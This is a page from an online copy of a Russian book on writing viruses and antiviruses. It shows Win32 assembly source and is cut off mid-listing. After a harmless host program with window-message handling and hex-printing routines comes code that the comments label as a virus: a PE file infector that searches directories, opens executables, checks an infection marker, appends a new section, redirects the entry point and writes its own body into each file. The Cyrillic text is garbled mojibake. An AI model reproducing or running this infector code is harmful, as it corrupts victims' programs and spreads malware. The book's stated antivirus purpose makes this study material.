Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΎΠ½Π»Π°ΠΉΠ½ Π½Π° Bookidrom.ru! БСсплатныС ΠΊΠ½ΠΈΠ³ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠ»ΠΈΠΊΠ΅

Π§ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ½Π»Π°ΠΉΠ½ Β«Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ вирус ΠΈ антивирус». Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° 9

Автор Π˜Π³ΠΎΡ€ΡŒ Π“ΡƒΠ»ΡŒΠ΅Π²

mov eax,[mbx_count]

mov edi, offset s_num

call HexWrite32

;Π’Ρ‹Π²ΠΎΠ΄ строки Π² ΠΎΠΊΠ½ΠΎ

push L MSG_L ;Π”Π»ΠΈΠ½Π° строки

push offset szPaint ;Π‘Ρ‚Ρ€ΠΎΠΊΠ°

push L 5 ;Y

push L 5 ;X

push [theDC] ;DC

call TextOut

;ΠžΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΠΌ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ пСрСрисовки ΠΎΠΊΠ½Π°

push offset lppaint

push [hwnd]

call EndPaint

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

mov eax, 0

jmp finish

;Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ WM_CREATE (созданиС ΠΎΠΊΠ½Π°)

wmcreate:

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

mov eax, 0

jmp finish

;Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅, Π½Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ Π΄Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Windows

defwndproc:

push [lparam]

push [wparam]

push [wmsg]

push [hwnd]

call DefWindowProc

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

jmp finish

;Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ WM_DESTROY (ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠΊΠ½Π°)

wmdestroy:

;Π—Π°ΠΊΡ€ΠΎΠ΅ΠΌ ΠΏΠΎΡ‚ΠΎΠΊ

push L 0

call PostQuitMessage

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

mov eax, 0

jmp finish

;Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ WM_LBUTTONDOWN (Π½Π°ΠΆΠ°Ρ‚Π° лСвая ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΌΡ‹ΡˆΠΈ)

wmlbuttondown:

inc [mbx_count]

;Обновим содСрТимоС ΠΎΠΊΠ½Π°

push L 0

push L 0

push [hwnd]

call InvalidateRect

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

mov eax, 0

jmp finish

;Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ WM_RBUTTONDOWN (Π½Π°ΠΆΠ°Ρ‚Π° правая ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΌΡ‹ΡˆΠΈ)

wmrbuttondown:

push L 0

call MessageBeep

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

jmp finish

;Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ WM_SIZE (ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠΊΠ½Π°)

wmsize:

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

mov eax, 0

jmp finish

;Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ WM_GETMINMAXINFO (ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€

;ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠΊΠ½Π°)

wmgetminmaxinfo:

;Π—Π°ΠΏΠΎΠ»Π½ΠΈΠΌ структуру MINMAXINFO

mov ebx, [lparam]

mov [(MINMAXINFO ptr ebx).mintrackposition_x],350

mov [(MINMAXINFO ptr ebx).mintrackposition_y],60

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

mov eax, 0

jmp finish

;Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сообщСния

finish:

ret

WndProc endp

;ΠŸΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π° ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° Π±Π°ΠΉΡ‚Π° Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅,

;находящССся Π² рСгистрС AL, Π±ΡƒΠ΄Π΅Ρ‚ записано Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅

;ΠΏΠΎ адрСсу ES:EDI

HexWrite8 proc

;РаздСляСм Π±Π°ΠΉΡ‚ Π½Π° ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚Ρ‹ ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌ ΠΈΡ… Π² рСгистры AH ΠΈ AL

mov ah,al

and al,0Fh

shr ah,4

;ДобавляСм 30h ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рСгистры содСрТали ΠΊΠΎΠ΄Ρ‹

;ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… символов ASCII. Если число,

;записанноС Π² ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚Π΅, Π±Ρ‹Π»ΠΎ большС 9,

;Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² этом ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚Π΅ Π½Π°Π΄ΠΎ Π΅Ρ‰Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ

or ax,3030h

;МСняСм ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚Ρ‹ мСстами, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рСгистр AH содСрТал младший

;ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚, Π° рСгистр AL – ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ

xchg al,ah

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, Π½Π°Π΄ΠΎ Π»ΠΈ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ младший ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚,

;Ссли Π΄Π° – ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌ

cmp ah, 39h

ja @@4

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, Π½Π°Π΄ΠΎ Π»ΠΈ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚,

;Ссли Π΄Π° – ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌ

@@1:

cmp al,39h

ja @@3

;Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ адрСсу ES:EDI

@@2:

stosw

ret

;ΠšΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡΡ‚Π°Ρ€ΡˆΠ΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚Π°

@@3:

sub al, 30h

add al, ”A”–10

jmp @@2

;ΠšΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ младшСго ΠΏΠΎΠ»ΡƒΠ±Π°ΠΉΡ‚Π°

@@4:

sub ah, 30h

add ah, ”A”–10

jmp @@1

HexWrite8 endp

;ΠŸΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π° ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° слова Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ.

;Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, находящССся Π² рСгистрС AX, Π±ΡƒΠ΄Π΅Ρ‚ записано

;Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΏΠΎ адрСсу ES:EDI

HexWrite16 proc

;Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ младший Π±Π°ΠΉΡ‚ ΠΈΠ· стСка

push ax

;Π—Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚ Π² рСгистр AL

xchg al,ah

;ΠŸΠ΅Ρ€Π΅Π²Π΅Π΄Π΅ΠΌ ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ Π±Π°ΠΉΡ‚ Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚

call HexWrite8

;Восстановим младший Π±Π°ΠΉΡ‚ ΠΈΠ· стСка

pop ax

;ΠŸΠ΅Ρ€Π΅Π²Π΅Π΄Π΅ΠΌ младший Π±Π°ΠΉΡ‚ Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚

call HexWrite8

ret

HexWrite16 endp

;ΠŸΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π° ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ слова Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ.

;Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, находящССся Π² рСгистрС EAX, Π±ΡƒΠ΄Π΅Ρ‚ записано

;Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΏΠΎ адрСсу ES:EDI

HexWrite32 proc

;Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ младшСС слово ΠΈΠ· стСка

push eax

;Π—Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ ΡΡ‚Π°Ρ€ΡˆΠ΅Π΅ слово Π² рСгистр AX

shr eax, 16

;ΠŸΠ΅Ρ€Π΅Π²Π΅Π΄Π΅ΠΌ ΡΡ‚Π°Ρ€ΡˆΠ΅Π΅ слово Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚

call HexWrite16

;Восстановим младшСС слово ΠΈΠ· стСка

pop eax

;ΠŸΠ΅Ρ€Π΅Π²Π΅Π΄Π΅ΠΌ младшСС слово Π² ASCIIβˆ’Ρ„ΠΎΡ€ΠΌΠ°Ρ‚

call HexWrite16

ret

HexWrite32 endp

;Π‘Π΄Π΅Π»Π°Π΅ΠΌ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ WndProc доступной ΠΈΠ·Π²Π½Π΅

public WndProc

ends

;Π—Π΄Π΅ΡΡŒ начинаСтся ΠΊΠΎΠ΄ вируса. Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ пСрСписываСтся ΠΈΠ· Ρ„Π°ΠΉΠ»Π°

;Π² Ρ„Π°ΠΉΠ». ВсС Π²Ρ‹ΡˆΠ΅ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠ΅ – всСго лишь ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°βˆ’Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ

vladseg segment para public ”vlad”

assume cs:vladseg

vstart:

;Вычислим Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ адрСс

call recalc

recalc:

pop ebp

mov eax,ebp

db 2Dh ;Код ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ SUB AX

subme dd 30000h+(recalcβˆ’vstart)

;Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ адрСс Π² стСкС

push eax

;Вычислим стартовый адрСс вирусного ΠΊΠΎΠ΄Π°

sub ebp,offset recalc

;Π˜Ρ‰Π΅ΠΌ KERNEL. Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ Π²Ρ‚ΠΎΡ€ΡƒΡŽ ΠΈΠ·Π²Π΅ΡΡ‚Π½ΡƒΡŽ Π½Π°ΠΌ Ρ‚ΠΎΡ‡ΠΊΡƒ KERNEL

mov eax,[ebp+offset kern2]

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ ΠΊΠ»ΡŽΡ‡. Если ΠΊΠ»ΡŽΡ‡Π° Π½Π΅Ρ‚, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Ρ‚ΠΎΡ‡ΠΊΠ΅ 1

cmp dword ptr [eax],5350FC9Ch

jnz notkern2

;KERNEL Π½Π°ΠΉΠ΄Π΅Π½, Ρ‚ΠΎΡ‡ΠΊΠ° 2

mov eax,[ebp+offset kern2]

jmp movit

;Π’ΠΎΡ‡ΠΊΠ° 2 Π½Π΅ подошла, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ Ρ‚ΠΎΡ‡ΠΊΡƒ 1

notkern2:

;Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ адрСс ΠΏΠ΅Ρ€Π²ΠΎΠΉ извСстной Π½Π°ΠΌ Ρ‚ΠΎΡ‡ΠΊΠΈ KERNEL

mov eax,[ebp+offset kern1]

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ ΠΊΠ»ΡŽΡ‡, Ссли ΠΊΠ»ΡŽΡ‡Π° Π½Π΅Ρ‚ – Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ

cmp dword ptr [eax],5350FC9Ch

jnz nopayload

;KERNEL Π½Π°ΠΉΠ΄Π΅Π½, Ρ‚ΠΎΡ‡ΠΊΠ° 1

mov eax,[ebp+offset kern1]

;KERNEL Π½Π°ΠΉΠ΄Π΅Π½, адрСс Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π° находится Π² рСгистрС EAX

movit:

;Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ адрСс KERNEL

mov [ebp+offset kern],eax

cld

;Π—Π°ΠΏΠΎΠΌΠ½ΠΈΠΌ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ

lea eax,[ebp+offset orgdir]

push eax

push 255

call GetCurDir

;Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ счСтчик Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ

mov byte ptr [ebp+offset countinfect],0

;Π˜Ρ‰Π΅ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ„Π°ΠΉΠ»

infectdir:

lea eax,[ebp+offset win32_data_thang]

push eax

lea eax,[ebp+offset fname]

push eax

call FindFile

;Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ индСкс для поиска

mov dword ptr [ebp+offset searchhandle],eax

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, Π½Π°ΠΉΠ΄Π΅Π½ Π»ΠΈ Ρ„Π°ΠΉΠ». Если Ρ„Π°ΠΉΠ» Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½,

;мСняСм Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ

cmp eax,–1

jz foundnothing

;ΠžΡ‚ΠΊΡ€ΠΎΠ΅ΠΌ Ρ„Π°ΠΉΠ» для чтСния ΠΈ записи

gofile:

push 0

push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push 3 ;OPEN_EXISTING

push 0

push 0

push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

lea eax,[ebp+offset fullname]

push eax

call CreateFile

;Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ ΠΎΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒ Ρ„Π°ΠΉΠ»Π°

mov dword ptr [ebp+offset ahand],eax

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° Π»ΠΈ ошибка.

;Если ошибка ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π°, ΠΈΡ‰Π΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„Π°ΠΉΠ»

cmp eax,–1

jz findnextone

;ΠŸΠΎΡΡ‚Π°Π²ΠΈΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ чтСния/записи Π½Π° ΠΏΠΎΠ»Π΅

;со смСщСниСм PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°

push 0

push 0

push 3Ch

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Π‘Ρ‡ΠΈΡ‚Π°Π΅ΠΌ адрСс PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°

push 0

lea eax,[ebp+offset bytesread]

push eax

push 4

lea eax,[ebp+offset peheaderoffset]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;ΠŸΠΎΡΡ‚Π°Π²ΠΈΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ чтСния/записи Π½Π° Π½Π°Ρ‡Π°Π»ΠΎ PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Π‘Ρ‡ΠΈΡ‚Π°Π΅ΠΌ число Π±Π°ΠΉΡ‚, достаточноС для вычислСния ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°

;PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²

push 0

lea eax,[ebp+offset bytesread]

push eax

push 58h

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ сигнатуру. Если Π΅Π΅ Π½Π΅Ρ‚, Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ

;этот Ρ„Π°ΠΉΠ» ΠΈ ΠΈΡ‰Π΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ

cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

;ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ Ρ„Π°ΠΉΠ» Π½Π° Π·Π°Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ. Если Ρ„Π°ΠΉΠ» Π·Π°Ρ€Π°ΠΆΠ΅Π½,

;Ρ‚ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ этот Ρ„Π°ΠΉΠ» ΠΈ ΠΈΡ‰Π΅ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ

cmp word ptr [ebp+offset peheader+4ch],0F00Dh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape

;ΠŸΠΎΡΡ‚Π°Π²ΠΈΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ чтСния/записи Π½Π° Π½Π°Ρ‡Π°Π»ΠΎ PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Π‘Ρ‡ΠΈΡ‚Π°Π΅ΠΌ вСсь PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Установим ΠΏΡ€ΠΈΠ·Π½Π°ΠΊ зараТСния

mov word ptr [ebp+offset peheader+4ch],0F00Dh

;НайдСм смСщСниС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²

xor eax,eax

mov ax, word ptr [ebp+offset NtHeaderSize]

add eax,18h

mov dword ptr [ebp+offset ObjectTableoffset],eax

;Вычислим смСщСниС послСднСго (null) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea eax,[ebp+offset peheader]

add esi,eax

xor eax,eax

mov ax,[ebp+offset numObj]

mov ecx,40

xor edx,edx

mul ecx

add esi,eax

;Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠΌ число ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi,esi

;Вычислим ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ адрСс (Relative Virtual Address

;ΠΈΠ»ΠΈ RVA) Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°

mov eax,[ediβˆ’5*8+8]

add eax,[ediβˆ’5*8+12]

mov ecx,dword ptr [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физичСский Ρ€Π°Π·ΠΌΠ΅Ρ€ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°

mov ecx,dword ptr [ebp+offset filealign]

mov eax,vendβˆ’vstart

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax

;Вычислим Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend–vstart+1000h

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax

;Вычислим физичСскоС смСщСниС Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°

mov eax,[ediβˆ’5*8+20]

add eax,[ediβˆ’5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

;Обновим Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±Ρ€Π°Π·Π° (Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² памяти) Ρ„Π°ΠΉΠ»Π°

mov eax,vendβˆ’vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx,[ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

;Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠ΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²

mov ecx,10

rep movsd

;Вычислим Ρ‚ΠΎΡ‡ΠΊΡƒ Π²Ρ…ΠΎΠ΄Π° RVA

mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax,ebx

add eax,5

;Установим Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° Π² Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒ

mov dword ptr [ebp+offset subme],eax

;ΠŸΠΎΡΡ‚Π°Π²ΠΈΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ чтСния/записи Π½Π° Π½Π°Ρ‡Π°Π»ΠΎ PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Π—Π°ΠΏΠΈΡˆΠ΅ΠΌ PEβˆ’Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π² Ρ„Π°ΠΉΠ»

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠΌ счСтчик Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ

inc byte ptr [ebp+offset countinfect]

;ΠŸΠΎΡΡ‚Π°Π²ΠΈΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ чтСния/записи

;ΠΏΠΎ физичСскому ΡΠΌΠ΅Ρ‰Π΅Π½ΠΈΡŽ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°

push 0

push 0

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Π—Π°ΠΏΠΈΡˆΠ΅ΠΌ Ρ‚Π΅Π»ΠΎ вируса Π² Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚

push 0

lea eax,[ebp+offset bytesread]

push eax

push vendβˆ’vstart

lea eax,[ebp+offset vstart]

push eax

